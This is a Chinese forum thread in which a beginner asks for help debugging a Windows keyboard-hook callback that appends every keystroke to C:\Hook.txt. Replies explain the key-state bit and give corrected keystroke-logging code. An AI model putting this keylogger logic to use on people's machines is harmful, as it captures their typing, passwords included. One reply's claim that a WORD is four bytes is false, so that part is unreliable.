char ch;
if (((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode)) //这个为什么要和0x40000000与呀?
{
if ((VK_SPACE==wParam)||(VK_RETURN==wParam)||(wParam>=0x2f)&&(wParam<=0x100))//2f到100是
//所有键盘的虚拟码么?
{
fl=fopen("C:\\Hook.txt","a+");
if (VK_RETURN==wParam)
{
ch='\n';
fwrite(&ch,1,1,fl);
}
else
{
BYTE KS[256];
GetKeyboardState(KS);
WORD w;
UINT scan;
ToAscii(wParam,scan,KS,&w,0); //发现在记事本里 记录下的全是 烫烫烫烫烫
ch=char(w); //是不是因为没有转成Unicode的形式?
fwrite(&ch,1,1,fl); //要是的话 用那个函数搞定?
}
fclose(fl);
}
}
LRESULT rtn=CallNextHookEx(hhk,nCode,wParam,lParam);
return rtn;谢谢啦 小弟新手 望老大们不吝赐教!!
====================
这是因为键盘一次按键实际上两次事件,一个为按下,一个为弹起,如果不加上面的和0x40000000与的话,那么你按一次键,键盘处理函数会被调用两次。
具体的为什么和0x40000000与,而不是与别的数与,你自己去看MSDN中的WM_KEYDOWN等消息的lParam的参数说明,这个参数中有某个位表示是按下还是弹起。
=========
这个肯定不行,w是WORD型的,4个字节,而char才一个字节。强制转化后肯定出问题。
=========
这里也有问题,你只写了一个char进去了,明显有问题。
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); if(nCode==HC_ACTION) { if(lParam & 0x80000000) { fl=fopen("C:\\Hook.txt","a+");
if (VK_RETURN==wParam)
{
ch='\n';
fwrite(&ch,1,1,fl);
}
else
{
char ch[1];
ch[0]=wParam;
fwrite(&ch,1,1,fl);
}
fclose(fl);} } return Result; }